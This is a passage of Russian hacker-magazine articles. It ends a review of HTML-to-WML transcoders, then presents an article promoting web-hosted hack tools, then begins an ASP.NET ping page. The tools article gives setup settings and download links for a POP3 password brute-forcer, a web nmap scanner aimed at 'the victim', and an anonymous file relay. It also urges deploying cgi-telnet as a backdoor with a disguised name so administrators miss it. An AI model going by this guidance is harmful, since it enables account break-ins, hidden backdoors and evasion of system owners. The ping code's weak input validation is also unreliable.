Теперь тесты. Как и предыдущий транскодер, этот тоже уже установлен, надо было только найти его, "Гугл", как всегда, спас - http://neonatus.net/cgi-bin/html2wml.cgi.

Ну что же, поехали: www.xakep.ru через этот транскодер открылся, но как только я прошел по ссылке произошла ошибка фильтрации <pre> (и такие ошибки при тестинге встречались и дальше). Это связанно с самой cgi - она плохо филтрует <pre>, о чем я доложил автору, возможно, скоро будет обновление =). Дальше для разнообразия будем смотреть securitylab.ru:

1. Зашли. Все нормально. Первое впечатление от этого скрипта лучше, чем от H2W. Во-первых, все картинки заменены [IMG], во-вторых не надо нажимать "Next" так часто, как это приходится делать при работе с H2W (вспомни про то, что я говорил выше). Вообще, если бы я не знал, что эта html-страница, я бы подумал, что это полноценная wap-страница. Зашел в раздел сайта "документы".

2. Текст, в отличие от первого транскодера, более читабельный, то есть слова не сливаются.

С формами этот транскодер тоже справился. Для этого я сходил на http://netcraft.com/ через этот транскодер и как видишь, вбил в форму "www.xakep.ru".

ДРУГИЕ СПОСОБЫ

Хочу добавить, что существуют еще другие транскодеры, но они не были включены в обзор из-за нефункциональности. Например, LazyPHP (http://script.emanual.ru/?a=21&i=42) имеет размер исходника 3 kb (для сравнения html2wml - 60 kb), и, соответственно, мало возможностей. У меня под Вынь он так и не запустился =(. Хотя автор уверяет: "Программа была испытана на: Win98/PHP 4.03/Apache 1.3.12 1.11.2000 LazyWAP v.0.5" (дата впечатляет).

Конечно, все это хорошо, но сайты оптимизированные под WAP РУКАМИ всегда будут выглядеть лучше, чем те, которые мы конвертировали (хотя, порой html2wml.cgi реально удивляет). Но руками тоже не всегда охота все делать... а если еще и в WML разбираться с нуля надо, то вообще караул. Хотя если страницу ты будешь лепить только для себя (наколбасишь всякие cgi/port scanner'ы с веб-интерфейсом), то можно воспользоваться PHP lib HawHaw (желательно что бы ты знал еще и php =)). Берем тут: http://script.emanual.ru/?a=21&i=40. Фишка в том, что используя класс из hawhaw.inc ты можешь строить страницы на "языке" (!!!) hawhaw. Поясняю: страница сможет отображаться как в WAP-браузере так и в привычном браузере. То есть, скрипт сам определит какой у юзера браузер и в зависимости от от этого выведет или html-страницу, или wml-версию. Но еще раз говорю, ни ту, ни другую ручками тебе писать не придется. Писать ты будешь ОДИН раз на маленьком "языке" HawHaw (точнее это не язык, а php-класс), который был создан средствами PHP. Ну а в освоении HawHaw тебе поможет этот талмуд (я освоил за час чтения): http://www.hawhaw.de/ref/php/index.html и FAQ: http://www.hawhaw.de/faq.htm (читай сначала ФАК).


Спецвыпуск Xakep, номер #030, стр. 030-040-4, ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-040-4

FINISH

Оба транскодера имеют свои недостатки, но у последнего их, все-таки, меньше, хотя глюк с <pre> чуть-чуть поубавил мои восторги от скрипта. Надеюсь, его скоро исправят. Но при себе всегда надо иметь ссылки на оба, потому что, если один не фурычет, можно попробовать другой.


Спецвыпуск Xakep, номер #030, стр. 030-044-1, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-1

(forb@real.xakep.ru).

Давно прошли те времена, когда ты юзал инет только для того, чтобы насладиться прекрасными порталами типа www.fomenko.ru, либо другими пагами непристойного характера, о которых я промолчу :). Теперь ты наслаждаешься всеми сервисами интернета, как, например, IRC, Mail, и, конечно же, взлом - самый интересный сервис, не упоминающийся ни в какой документации. Так что такие слова, как сканер, брутфорсер, шелл, стали для тебя смыслом виртуальной жизни.

Все это замечательно, но может произойти так, что по какой-либо причине тебе придется выйти в Интернет с чужого компьютера. Причины могут быть различными: отъезд в другой город, конфискация личного имущества :), сгоревший HDD. Просто представь, что все удобные программы, как ssh, mail, irc клиенты оказались вне досягаемости. Не буду продолжать мысль, ибо вижу, что ты побледнел и чуть было не потерял сознание :). На самом деле такой расклад вполне вероятен, поэтому в этой статье я научу тебя быть готовым ко всему. Конечно, я не буду учить тебя чинить дохлые винты или заставлять читать уголовный кодекс :). Я просто покажу, как в "полевых" условиях пользоваться тем, что ты всегда активно юзал в домашних.

Изначально представив, что в любом месте, где есть Интернет, существует также Web-браузер, я выделил основную пятерку программ, либо удобств, без которых человеку сложно обойтись. Реализовывать исправную их функциональность я буду через Web. Да, ты не ослышался, Web - очень мощная штука, через которую вполне реально взламывать, сканить, либо просто наслаждаться миром IRC :), только было бы желание.

ВАМ ПИСЬМО!

Рассмотрим следующую ситуацию: ты находишься в убогом интернет-клубе. Тебе страсть как захотелось утянуть какой-либо файл, но возможности его транспортировки на свой компьютер попросту нет. Остается одно - послать его аттачем на твой E-mail. Учитывая такой фактор, как зажратость работников в этом клубе, которые предлагают отправить письмо, по цене 1 у.е. за 10 кб. :), всякое желание сотрудничать с ними у тебя пропадает. Но, на помощь приходит Web, а именно система cgi-скриптов, которая поможет тебе совершить задуманную операцию.

Вот краткий алгоритм работы этой самой системы: ты отправляешь обычному скрипту, который находится на сервере со слабым каналом, ссылку на необходимый файл. Скрипт, корректно переварив данные, передает ссылку уже другому скрипту, на более безопасном сервере. Тот, в свою очередь, довольно быстро выкачивает файл из инета и отправляет тебе на E-mail аттачем. Прелесть этого алгоритма в том, что ты практически не оставляешь следов за тобой. Нередко, в клубах сниффают данные, но так как твой e-mail забит уже во второй скрипт, то враг никогда не заспамит тебя :).

Теперь несколько слов о реализации этой системы, а именно: устройство скриптов.

1. pre-get.pl

Этому файлу ты скармливаешь ссылку на нужный файл. Получив ее, он создает сокет с нужным web-сервером, на котором находится второй компонент системы. Этот компонент скажет "OK" в случае успеха. После этого, скрипт запишет попытку скачивания файла в log-файл и на этом его работа будет завершена.


Спецвыпуск Xakep, номер #030, стр. 030-044-2, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-2

2. get.pl

Второй скрипт устроен несколько сложнее. После приема ссылки, он скачивает ее. Причем делает это без внешних программ, используя модули HTTP::Request, HTTP::Response и LWP::UserAgent. Кто разбирается в Perl, тот меня поймет. Для остальных важен только результат - файл сливается с Web и сохраняется в локальном экземпляре на сервере.

Затем идет самое интересное - отправка этого самого файла на нужный e-mail. Я реализовал это консольным вариантом, полагаясь на то, что программы mail и uuencode установлена на любом unix-like сервере. Для тех, кто не знает, скажу, что послать файл аттачем можно следующей командой:

uuencode filename filename | mail user@mail.ru

где filename - имя файла, который нужно запаковать и отправить на адрес user@mail.ru.

Чтобы все работало, как ты захочешь, ты должен лишь установить значения переменных, расположенных в начале скрипта. В pre-get.pl их три:

$server='server.ru';

Задает сервер, на котром расположен скрипт get.pl

$path_script='/cgi-bin/get.pl';

Задает путь к этому скрипту на web-сервере. Именно к нему будет обращение от лица pre-get.pl

$logging=0;

Указывает, нужно ли производить запись в log-файл. При значении 1 все обращения к скрипту логируются в файл get.log

В get.pl эта переменная всего одна - $mailaddr. В ней хранится необходимый E-mail адрес, на который прийдет нужный файл.

Я надеюсь, ты знаешь, как правильно заливать скрипты. Они обязательно должны быть закачены в ASCII-режиме и на них должен стоять режим 755. Также рекомендую создать файл get.log с атрибутом 666, чтобы выполнялся корректное логирование запросов (иначе веб-сервер просто не сможет ничего записать в файл из-за нехватки прав).

После правильной заливки скриптов с измененными переменными, рекомендую протестить их на практике, чтобы лишний раз убедиться в правильности их работы.

Достоинства:

1. Анонимность. Никто не узнает твой E-mail адрес и местонахождение главного скрипта.

2. Скорость и время. Даже при маленьком канале, скрипт со временем вытянет необходимый файл. Твоя забота будет заключаться только в съеме почты.

3. Компактность. Сам код занимает считанные килобайты, а пользы от него на 100$ :).

Недостатки:

1. Некрасивое оформление E-mail сообщения. Внутри письма ты обнаружишь весь uuencode-файл, но клиент обязательно сформирует аттач. Также не будет темы сообщения и явного адреса отправителя, хотя тебе он нужен, как рыбе зонт.

2. Неполный логгинг. Честно говоря, мне было влом расписывать полный логгинг (ip-адрес, время и прочее), зная, что ты сам должен неплохо разбираться в Perl =).

Цель достигнута. Теперь, ты можешь запросто скачивать файлы к себе на E-mail, не боясь того, что тебя заснифают или уличат в чем-нибудь противозаконном.

Url: http://kamensk.net.ru/forb/1/x/get-project.tar.gz

Я ВЫБИРАЮ БЕЗОПАСНЫЙ СКАН!

Процесс сканирования, как известно, не содержит в себе ничего сложного. Нужно лишь найти хороший сканер, удаленный ip-адрес и натравить этот самый сканер на адрес. Результат сканирования даст знать, какие порты открыты на сервере, а это уже будет информация к размышлению, наводящая на ошибки в софте. Так как этих самых сканеров в инете пруд пруди, проблем практически нет.


Спецвыпуск Xakep, номер #030, стр. 030-044-3, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-3

Другое дело, если изменить место твоего пребывания, где использовать порт-сканер накладно. Нет, речь не идет о камере предварительного заключения :), можно взять тот же интернет-клуб, где страсть охота просканить убогий сервер. На помощь опять же приходит Web. Точнее не сам Web, а nmap-сканер в Web-интерфейсе, который выполнит всю работу сканирования и представит результат в браузере в удобочитаемом виде.

Зная, что такие проекты должны быть, ибо не я первый поднимал эту идею, изрядно помучив поисковики, выделил две тулзы для этого. После установки первой (не буду показывать пальцем какой ;)), я забил на нее из-за сложности и кучи ненужных примочек и лишних perl-модулей. А вот вторая тулза мне понравилась. Примечательно, что она использует все интерпретаторы, которые только могут быть :) для своей работы.

Пакет состоит из трех файлов: nmap.php, nmap.cgi и nmap.log. Каждый файл нужен для выполнения своей определенной задачи.

nmap.php - собственно сам интерфейс, в котором определена формочка для ввода ip-адреса, а также несколько строчек, объясняющих, что сей скрипт делает.

nmap.cgi - скрипт выполняющий локальный вызов nmap, а затем парсинг его лог-файла на предмет портов. На самом деле, назвать его cgi-скриптом нельзя, так как все в нем выполняется обычным /bin/sh интерпретатором :). С одной стороны, это удобно - ничего лишнего, но с другой - разобраться в коде очень сложно.

nmap.log - логирование всех скан-запросов. Может быть удобно, если ты забыл ip сервера, который сканил.

Теперь о настройке. Все необходимые переменные занесены в nmap.cgi скрипт. Их немного:

logfile=/home/server.ru/cgi-bin/nmap/nmap.log

Путь к файлу nmap.log, для корректного занесения log-данных. Если не изменять поле, ничего страшного не произойдет, в скрипте присутствует проверка на наличие файла и прав для записи в него.

filename=/tmp/nmap$$.1

output=/tmp/nmap$$.2

Переменные определяющие временные файлы, жизненно важные для работы скрипта. Лучше их оставить как есть, но бывают случаи, когда /tmp директория недоступна для записи. Если у тебя на сервере подобная ситуация, поменяй директорию в переменных.

forbidden="linux\.org;freebsd\.org;127\.0\.0\.1"

Список хостов, которые запрещены для сканирования. Делается это для собственной безопасности, на случай, если какой-нибудь лабух попытается просканить твой же сервер :). Как видно, хосты разделяются между с собой точкой с запятой, а точки в ip-адресах экранируются слешем.

Все это дело устанавливается на твой сервер в определенную директорию в /cgi-bin (либо, доступного для скриптов каталога). На скрипт, традиционно выставляем 755, а на log-файл 666 режимы. Обязательно изменим путь к nmap.cgi в форме nmap.php скрипта и наслаждаемся результатом сканирования.

Достоинства:

1. Удобство. В любой момент можно получить данные об открытых портах на сервере.


Спецвыпуск Xakep, номер #030, стр. 030-044-4, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-4

2. Простота в установке. Для установки системы особого ума не надо, достаточно лишь немного поправить главный скрипт.

Недостатки:

1. Излишняя группировка различных интерпретаторов. Отсутствие одного из них (/bin/sh, /usr/bin/perl, php_mod) может привести к неработоспособности проекта.

2. Непродуманность путей к бинарным файлам. Пути заострены до самого бинарника, но nmap может, например, находиться не в /usr/bin, а в /usr/local/bin, как вышло в моем случае. Также, в системе может отсутствовать gawk, но присутствовать awk (на самом деле, это обычный симлинк).

Url: http://kamensk.net.ru/forb/1/x/nmap-web.tar.gz

Итак, одной проблемой меньше. Теперь ты можешь сканировать жертву юзая только web и не используя консоли.

IRC ЧЕРЕЗ ВЕБ ИЛИ АКЦИЯ ПРОТИВ WWW-ЧАТОВ

Если ты болеешь IRC-зависимостью и проводишь в чате половину суток, то у тебя будет реальный дискомфорт при отсутствии на компьютере установленного клиента. Конечно, можно стянуть mIRC и заинсталлить его, но тогда появится куча других проблем - возможность поюзать IRC под твоим ником другому нехорошему человеку. Также может быть ситуация, когда фильтруются все порты кроме web и почты, либо неохота разоряться на трафик, потраченный на скачивание клиента.

Можно посмотреть на ситуацию с другой стороны. Если открыт web, то есть возможность установить web-irc гейта и общаться без всяких проблем через http. Не путать гейт с web-чатом :). Тут все по-другому: идет обычное создание сокета, после чего данные из irc попадают на web-форму. Таким образом, ты реально экономишь на трафике и твое общение протекает относительно безопасно.

Кто сталкивался с проблемой создания IRC-гейта, знает, что лучше проекта CGI::IRC еще не придумано. Сочетание удобной настройки с огромными возможностями, а также приятный дизайн делает этот проект совершенным. При этом ты забываешь, что находишься в web-браузере, а не в любимом клиенте.

Распаковав достаточно увесистый архив (около 100кб), ты увидишь в нем небольшое скопление файлов и папок. Не пугайся, тебе придется поковырять совсем немного конфигов, чтобы гейт нормально работал. Вначале, займись правкой cgiirc.config.full, который содержит в себе несколько переменных. Их необходимо настроить на твой вкус.

default_server = irc.ircnet.ru

IRC-сервер, с которым будет совершаться соединение. В моем случае сервер самой крупной русской сети IRCNet. Если нет явного запрета, пользователь может выбирать сервер самостоятельно.

default_port = 6667

Порт, на котором установлен ircd. По дефолту 6667, но случаи бывают разные.

default_channel = #help,#rusunix

Каналы, на которые будет совершен автоматический заход. В случае, если пользователь наберет /join на другой канал, ему будет представлено сообщение: "You are not allowed to join #channel".

default_name = 31337 G473 U53R

Юзернейм человека, который юзает гейт. Для тех, кто не знает, он пишется после айдента и хоста во /whois.

default_nick = CGI???

Ник, который будет выдан пользователю, в случае неявно заданного. Знаки вопроса означают случайное число.

script_nph = nph-irc.cgi


Спецвыпуск Xakep, номер #030, стр. 030-044-5, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-5

script_form = client-perl.cgi

script_login = irc.cgi

image_path = images

Пути к главным скриптам гейта, а также к картинкам, относительно конфига. Если ты любитель чистоты и хранишь конфиги отдельно от скриптов, то поменяй к ним пути в этих переменных.

ip_access_file = ipaccess

Путь к ipaccess файлу. В нем будет список ip-адресов, с которых разрешено, либо запрещено использование гейта. Об его устройстве я скажу чуть позднее.

admin password = d32sWfxs.t3a9

Админский пароль в DES кодировке. Нужен для одной единственной команды: /ctcp kill nick пароль причина. При совпадении пароля, гейт выкинет юзера из IRC с указанной причиной. Установить этот пароль можно консольной командой: perl -e 'print crypt "password","SA"', где password - нужный пароль, а SA - два любых символа, по которым будет создан этот пароль.

format = default

CGI::IRC содержит в себе около десятка web-стилей. Их ты можешь найти в папке interfaces, поставляемую с пакетом, а также с легкостью создать свой собственный стиль, если конечно дружишь с html.

interface smilies = 1

Переменная, отвечающая за замену стандартных смайликов на их графический эквивалент. Я бы не советовал включать ее, так как процесс общения начинает напоминать банальный web-чат =).

Это минимум переменных, которые необходимо поменять для исправной работы гейта. Далее, как и обещал, расскажу об ipaccess-файле и его синтаксисе.

Ipaccess необходим для составления списка ip-адресов, с которых будет разрешено использование гейта, а также указывать лимиты, чтобы избежать клонов с различных адресов. Этот файл может иметь следующее содержание:

192.168.0.* 0

192.168.1.* 2

192.168.2.* 4

*.*.*.* 10

Эти строки говорят о том, что гейт позволит зайти 10 пользователям со всех адресов, только 2 с маски 192.168.1.0/24, четырем пользователям с соседней маски и полный запрет с маски 192.168.0.0/24.

Изменив локально все конфигурационные файлы, переименуй их в стандартные, то есть отбрось всякие добавки к их именам (типа full или example). После этого, аккуратно залей все скрипты в исполняемую директорию и расставь им режим 755. Затем, поправь файлик .htaccess, в котором следует раскомментить директиву DirectoryIndex, чтобы каждый зашедший в директорию на web, автоматически перенаправлялся на скрипт irc.cgi, что будет лучше обзора всей иерархии гейта :).

Так как, я использую эти скрипты очень давно, то могу достаточно справедливо оценить этот по всем параметрам.

Достоинства:

1. Приятный и настраиваемый web-интерфейс. Именно это притягивает посетителей, да и самих владельцев паги к использованию гейта.

2. Хорошая фильтрация от нежелательных гостей. Это, как и постоянный ipaccess, так и временный /ctcp kill.

3. Скорость. В отличие от web-чатов, скорость просто космическая, но, естественно, ниже, чем в обычных IRC-клиентах.

Недостатки:

Английский язык. Все комментарии и IRC-сообщения написаны на нем, поэтому незнающему человеку разобраться проблемно. Но Perl-скрипты, как известно, не в бинарном формате, поэтому ты можешь легко русифицировать их.


Спецвыпуск Xakep, номер #030, стр. 030-044-6, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-6

Url: http://cgiirc.sourceforge.net/releases/cgiirc-0.5.2.tar.gz

Вот собственно и все про CGI::IRC. Если тебе этого показалось мало, для тебя существует папочка docs. В ней изложено все по установке и настройке этого пакета, но опять же на английском языке. Зато, если ты освоишь и настроишь все возможности гейта, то действительно будешь крут.

ЛОМАЕМ ПАРОЛИ ЧЕРЕЗ WEB

О таком методе как bruteforce-hack, ты, наверное, слышал не раз. Это тупой перебор паролей на известного пользователя. Он нежелателен тем, что все запросы оседают в логах сервера, на котором происходит перебор. Но, тем не менее, этот метод используется довольно часто. Но, нужного софта, особенно под linux мало. Возможно из-за того, что брутфорсеры бывают очень разные, и актуальны в зависимости от ситуации.

На повестке дня рассматривается еще один Web-проект, под названием pop3-bruteforcer. Этот проект состоит из самого скрипта bruter.pl, web.cgi и еще несколько файлов. Для нас особое значение имеет web.cgi - скрипт, который запускает bruter.pl, а также осуществляет мониторинг за процессом перебора паролей. Чтобы развеять туманность вышесказанного, расскажу об общем принципе работы этих скриптов.

Скрипт web.cgi анализирует то, что от него хотят по QUERY_STRING. Если параметров не было вообще, он выдает пользователю небольшую форму, в которой содержатся три обязательных параметра: имя сервера, пользователь и пароль. Пароль необходим для авторизации доступа к скрипту, чтобы левый юзер не смог мониторить процесс подбора. В случае параметра list, скрипт покажет все логи, в которых лежат данные о верных паролях, либо просто скажет, что их нет. Если же будет присутствовать параметр brute, который вызывается после заполнения web-формы, в фоновом режиме запустится брутфорсер bruter.pl в виде "bruter.pl host user &".

Скрипт bruter.pl использует словарь для перебора паролей. Беря последовательно каждое слово, он отправляет пару login:пароль на 110 порт удаленного сервера. Затем идет простой анализ результата, и в случае удачи - запись в log-файл.

Чтобы проект корректно работал, необходимо изменить несколько переменных.

web.cgi:

$salt="psCR3/S2SaIko";

Пароль на доступ к скрипту. По умолчанию - bruter. Но пароли по умолчанию, как правило, до добра не доводят, поэтому советую тебе его сменить.

$header='head.html';

$footer='foot.html';

Пути к html-файлам: соответственно, заголовок и окончание кода. В моей реализации нет никакого дизайна, ибо я не преследовал цели показать тебе мои знания html. Тем более что на вкус и цвет... :).

$logdir="brut";

Папка для логов относительно скрипта. В ней будут создаваться все логи с правильными паролями, а также производиться мониторинг через процедуру чтения файлов в этой папке.

bruter.pl:

$logdir="brut";

Убедись, что значение этой переменной совпадает со значением в соседнем скрипте, иначе их интеграция будет невозможной. В эту директорию скрипт будет скидывать логи с результатом своей работы.

$dict='dict.txt';

Путь к словарику, по которому будет производиться подбор паролей. Не советую сразу заливать 100-мегабайтный словарь, так как брутфорс - очень долгий процесс, а полный перебор твоего текстовика дождутся лишь твои правнуки.


Спецвыпуск Xakep, номер #030, стр. 030-044-7, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-7

Залив скрипты на сервер, убедись, что все файлы на месте. Создай папку brut с правами 777, иначе запись туда будет невозможной, что повлечет за собой неверную работу всей системы.

Настало время оценить проект по 10-бальной шкале :).

Достоинства:

1. Гибкая настройка и возможность создания своего дизайна.

2. Поддержка нескольких запусков брутфорсинга.

3. Универсальность. Можно подправить bruter.pl и с легкостью добиться перебора паролей на другой сервис.

Недостатки:

1. Мониторинг происходит только по удачному результату. О текущем переборе паролей ты узнать не сможешь.

2. Нет лог-файла обращений к самой web-среде. Предлагаю создать его самостоятельно :).

3. Отсутствует проверка на обязательные параметры. Рекомендую внедрить ее, иначе могут быть ошибки в работе системы.

Url: http://kamensk.net.ru/forb/1/x/pop3-brute.tar.gz

Теперь у тебя есть все, что необходимо для взлома и отдыха. С удовольствием предлагаю последний проект в этом материале, который замкнет цепь web-проектов и развеет твое мнение о том, что web нужен только для обзора html-страниц.

УДАЛЕННОЕ УПРАВЛЕНИЕ СИСТЕМОЙ

Бывают случаи, когда необходим удаленный шелл в системе, но по закону подлости, опять же нет подручных средств. Искать и качать ssh-клиент и прочий софт тебя ломает, а быть может, и не позволяет злой firewall на сервере. Но не все так плохо: существует много средств для управления системой через web, начиная с громоздкого webmin'а, заканчивая простенькими скриптами.

Я остановился на замечательном скрипте cgi-telnet.pl, написанный неким Rohitab Batra. Он позволяет не только управлять системой, поглащая команды и, выдавая результат, но и закачивать и заливать файлы. Изначально скрипт выполняется под nobody правами, но при установке на него +s бита, можно с легкостью поменять права скрипта.

Естественно, управление защищено паролем и простому юзеру не будет возможности порулить твоим сервером :). Навигация по скрипту также очень удобна, что делает управление системой действительно увлекательным процессом. Что примечательно, скрипт поддерживает не только Linux, но и WinNT платформу, запуская вместо /bin/sh, c:\windows\system32\cmd.exe интерпретатор.

Ты можешь использовать cgi-telnet как обычный backdoor, что очень удобно, особенно в том случае, когда порты удаленного сервера фильтруются файрволлом. Только замаскируй скрипт под неприметное имя, иначе администратор быстро найдет лишний процесс в таблице :).

Сам скрипт очень большой по объему, занимает около 27 кб. Он содержит в себе много функций, таких, как uploadfile, downloadfile и тому подобные.

Чтобы установить скрипт, тебе придется изменить четыре важные переменные:

$Password = "eatme";

Пароль на вход в систему. Устанавливается в plain-text. Должен быть обязательно изменен на более сложный :).

$WinNT = 0;

Если ты запускаешь этот скрипт под WinNT, установи значение переменной, равное единице.

$CommandTimeoutDuration = 100000;


Спецвыпуск Xakep, номер #030, стр. 030-044-8, СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

СВОЯ ВОЕННАЯ БАЗА В СЕТИ - хак-тулзы по первому требованию.

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #030, стр. 030-044-8

Время на выполнение команды в секундах. При истечении этого времени, команда будет убита автоматически. Работает только на Linux-платформах.

$ShowDynamicOutput = 1;

Включает или выключает буферизацию при выполнении команды. Иначе говоря, выводит результат в процессе или после выполнения команды.

После изменения переменных, залей скрипт на сервер и установи на него исполняемый режим. Если все сделано правильно, то после ввода верного пароля, тебя пустит в систему.

Достоинства:

1. Отличный дизайн и навигация по скрипту. Об этом программеры позаботились добросовестно.

2. Наличие таких полезных функций, как заливка и скачивание файлов.

3. Авторизация паролем. Длина пароля не ограничена, а содержание ограничено лишь твоей фантазией.

Недостатки:

1. Переменная $Password записана в plain-text. Таким образом, если злоумышленник посмотрит сорцы скрипта, то он запросто сможет авторизоваться в нем.

2. Cgi-шелл неполноценен. Он не может выполнять интерактивные команды, поэтому его возможности не безграничны.

Url: http://kamensk.net.ru/forb/1/x/cgi-telnet.tar.gz

Завершая наш мини-обзор, хочу отметить, что это далеко не все возможности web. Можно навскидку перечислить еще с десяток полезных проектов, лишь бы была фантазия. Следует избегать мыслей, что через web нельзя сделать ничего кроме просмотра html и www-чатинга. Бывает, что натыкаешься на такие web-проекты, что просто диву даешься. Хороший дизайн в переплетении с многофункциональностью дает потрясающий результат.

Прочитав эту статью, я надеюсь, у тебя пропадет чувство дискомфорта за чужим компьютером, так как, ты обязательно выберешь нужный тебе проект и установишь на своем сервере. Главное не затягивать с этим делом, ведь верно говорят: "Готовь сани летом". Кроме того, лишний проект на web еще никому не повредил.

Возможно, эта статья натолкнет тебя на какие-то мысли по этой теме, и ты захочешь написать свой web-проект. Если так и произошло, не стесняйся, напиши мне свою идею. В этом случае, либо я тебе помогу советом, либо мы вместе реализуем этот проект - было бы желание. Главное никогда не забивай на собственные идеи, а развивай их, тем самым накапливая опыт в кодинге и в web-дизайне.

WEB-ЧУДЕСА ТВОРИТ НЕ ТОЛЬКО PERL!

Если ты думаешь, что скрипты пишутся только на perl, ты ошибаешься. Nmap в web-интерфейсе яркий тому пример - скрипт написан полностью на языке shell. Он мог бы быть написан и на C, python и других известных языках.


Спецвыпуск Xakep, номер #030, стр. 030-050-1, Ping Master - трансляция cmd2html на ASP

Ping Master - трансляция cmd2html на ASP

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-050-1

(vme@front.ru) & ilich (ilich@atrus.ru)

Здравствуй, дружище! Знаешь ли ты, что именуется термином "ping"? Ну конечно же знаешь! А знаешь ли, что такое Web-страница? Вижу, ты отчасти смутился :)... Ну так вот, а о том, что эти две вещи можно неплохо совместить, интегрируя одну в другую, ты наверняка и не подозревал! Для таких случаев и в казематах НИИ имени Кащенко (да-да, есть и такой :))) разработаны мы - Spez-Crew то есть.

Постановка вопроса

Итак, наша с тобой задача - перенаправить стандартный вывод программы ping.exe вместо консоли на Web-страницу. Зачем это может быть нужно, решишь сам на досуге за чашкой пива, а я лишь скажу, что этот пример в любом варианте полезен, ибо по этому принципу можно перенаправить в Web-страницу вывод практически любой консольной проги. А это тебе не хухры-мухры! Так что дальше все зависит только от твоей фантазии и ловкости твоих конечностей, то есть как всегда :).

Пример я написал на моем любимом C# в среде ASP.NET. Если тебе на прошлой неделе только годик стукнуло, то объясню, что для того, чтобы все написанное здесь работало, тебе нужно установить Microsoft.NET Framework. А это штука такая, что не на всяком диске имеется :).

Сначала создаем файл с расширением *.aspx и записываем туда между символами "<%@" и "%>" директиву ASP.NET "Import Namespace=". После знака равенства в кавычках пишем имена тех пространств имен, которые потребуются нам для написания этой паги. Это нужно для того, чтобы, например, вместо названия класса "System.Text.RegularExpressions.Regex" писать просто "Regex". Короче говоря, это настолько удобно, что ведет к практически полному расслаблению твоих членов во время написания кода :). Нам нужно будет таким образом импортировать четыре пространства имен: "System.Diagnostics", "System.Text.RegularExpressions", "System.IO" и "System.Net".

Теперь вбиваем известный с пеленок заголовок HTML и пишем тело документа между <body> и </body>. Для отправки запроса на сервер создаем форму с атрибутом runat="server".

<%@ Import Namespace="System.Diagnostics"%>

<%@ Import Namespace="System.Text.RegularExpressions"%>

<%@ Import Namespace="System.IO"%>

<%@ Import Namespace="System.Net"%>

<html>

<head>

<title>Ping</title>

<meta http-equiv="Content-Type" content="text/html;charset=windows-1251">

<script language="C#" runat="server">

protected void do_Ping(object sender, EventArgs e)

{

Regex rx = new Regex(@"(\d{1,3}.){3}(\d{1,3}){1}");

if (rx.Match(addr.Text).Success)

try

{

IPAddress.Parse(addr.Text);

}

catch (FormatException)

{

l3.Text = "Неверный IP-адрес!";

return;

}

Process p = new Process();

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.FileName = "d:\\winnt\\system32\\ping.exe";

p.StartInfo.Arguments = addr.Text+" -n 1";

p.Start();

l2.Text = p.StandardOutput.ReadToEnd();

p.WaitForExit();

p.Dispose();

}

</script>

</head>

<body>

<form id="frm1" method="post" runat="server">


Спецвыпуск Xakep, номер #030, стр. 030-050-2, Ping Master - трансляция cmd2html на ASP

Ping Master - трансляция cmd2html на ASP

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-050-2

<asp:Label ID="l1" Runat="server">IP-адрес или DNS-имя компьютера:</asp:Label>

<asp:TextBox Runat="server" Columns="16" ID="addr" MaxLength="100" /><br>

<asp:RegularExpressionValidator Display="Dynamic" ErrorMessage="Ты должен ввести IP-адрес или полное DNS-имя компьютера" ID="rev" Runat="server" ControlToValidate="addr" ValidationExpression="(\d{1,3}.){3}(\d{1,3}){1}|\w+([-.]\w+)*(.[a-z]+)+" />

<br/><br/>

<asp:Button Text="Проверить" OnClick="do_Ping" Runat="server" id="but1" /><br>

<asp:Label ID="l2" Runat="server" />

<asp:Label ID="l3" Runat="server" ForeColor="red" />

</form>

</body>

</html>

В форму помещаем текстовое поле для ввода IP-адреса или DNS-имени интересующего нас компа. Вместе с текстовым полем нам будут нужны три ASP-шные метки (<asp:Label>). В одну помещаем текст "IP-адрес или DNS-имя компьютера". Вторую оставим пустой - она будет нужна для вывода ответа программы на нашу страничку.

